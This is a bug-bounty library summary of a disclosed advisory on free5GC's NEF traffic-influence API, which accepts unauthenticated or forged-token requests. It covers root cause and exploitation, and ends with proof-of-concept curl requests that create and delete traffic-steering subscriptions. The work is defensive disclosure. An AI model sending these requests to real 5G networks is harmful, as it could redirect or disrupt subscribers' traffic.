# free5GC's NEF 3gpp-traffic-influence API is unauthenticated; missing or forged bearer tokens can create, read, patch, and delete subscriptions

free5GC NEF mounts the 3gpp-traffic-influence API without inbound auth, letting any SBI-reachable attacker create, read, patch and delete traffic-steering subscriptions.

- Payout: Research
- Severity: critical
- Program: free5GC
- Found by: LinZiyuu
- Disclosed: 2026-05-08
- CVE: CVE-2026-44326
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-3p28-73q7-45xp
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-3p28-73q7-45xp
- Tags: area:devices domain:api domain:network impact:data-leak impact:dos impact:integrity kind:research platform:ghsa sev:critical tech:go tech:rest technique:source-review vuln:access-control vuln:auth-bypass vuln:misconfiguration

**Target:** NEF SBI REST API (3gpp-traffic-influence route group)
**Root cause:** The 3gpp-traffic-influence route group is mounted in server.go without any inbound OAuth2/bearer-token middleware; NEF context only implements outbound token acquisition (GetTokenCtx), so no inbound authorization path exists.
**Steps:**
1. Send `curl -i -H 'Content-Type: application/json' --data '{"afServiceId":"svc-noauth",...,"anyUeInd":true,...}' http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-noauth/subscriptions` with no Authorization header -> 201 Created
2. Send same POST with `Authorization: Bearer not-a-real-token` -> 201 Created
3. GET `/3gpp-traffic-influence/v1/af-poc-high/subscriptions/1` with forged token -> 200 OK
4. PATCH `/3gpp-traffic-influence/v1/af-poc-high/subscriptions/1` with forged token -> 500 Query to UDR failed (reaches business logic, not 401/403)
5. DELETE `/3gpp-traffic-influence/v1/af-poc-high/subscriptions/1` with forged token -> 204 No Content
**How found:** Lab validation against the official Docker compose NEF container; noticed NEF advertises OAuth2 receive-from-NRF but ServiceList only declares nnef-pfdmanagement and nnef-oam, then code-read server.go:48 showing the traffic-influence group mounted without auth middleware and nef_context.go exposing only outbound GetTokenCtx.
**Exploitation:** Any party with SBI network reach to NEF:8000 issues unauthenticated or forged-token requests to the traffic-influence CRUD routes. POST creates attacker-controlled subscriptions (including AnyUeInd=true group/any-UE) that redirect AF traffic to attacker-chosen DNAIs and routing endpoints via SMF/UPF; PATCH modifies live traffic-steering decisions; DELETE removes legitimate subscriptions.
**Escalation:** Route group remains reachable even when runtime ServiceList omits it, defeating config-based service disabling; AnyUeInd=true widens scope from single UE to group/any-UE traffic steering.
**Insight:** In 5G core NFs, outbound OAuth2 token support (GetTokenCtx) does not imply inbound validation — check whether each route group in server.go is wrapped by auth middleware, and test routes not listed in ServiceList since config gating often doesn't gate mounting.

## Proof of concept (copied exactly from the original report)

**Unauthenticated POST creates traffic-influence subscription**

```
curl -i \
  -H 'Content-Type: application/json' \
  --data '{"afServiceId":"svc-noauth","afAppId":"app-noauth","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.40 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-noauth","routeInfo":{"ipv4Addr":"10.60.0.1","portNumber":0}}]}' \
  http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-noauth/subscriptions
```

**Forged bearer token POST creates subscription**

```
curl -i \
  -H 'Authorization: Bearer not-a-real-token' \
  -H 'Content-Type: application/json' \
  --data '{"afServiceId":"svc-high","afAppId":"app-high","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.20 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-poc","routeInfo":{"ipv4Addr":"10.60.0.2","portNumber":0}}]}' \
  http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions
```

**Forged token DELETE removes subscription**

```
curl -i -X DELETE \
  -H 'Authorization: Bearer not-a-real-token' \
  http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions/1
```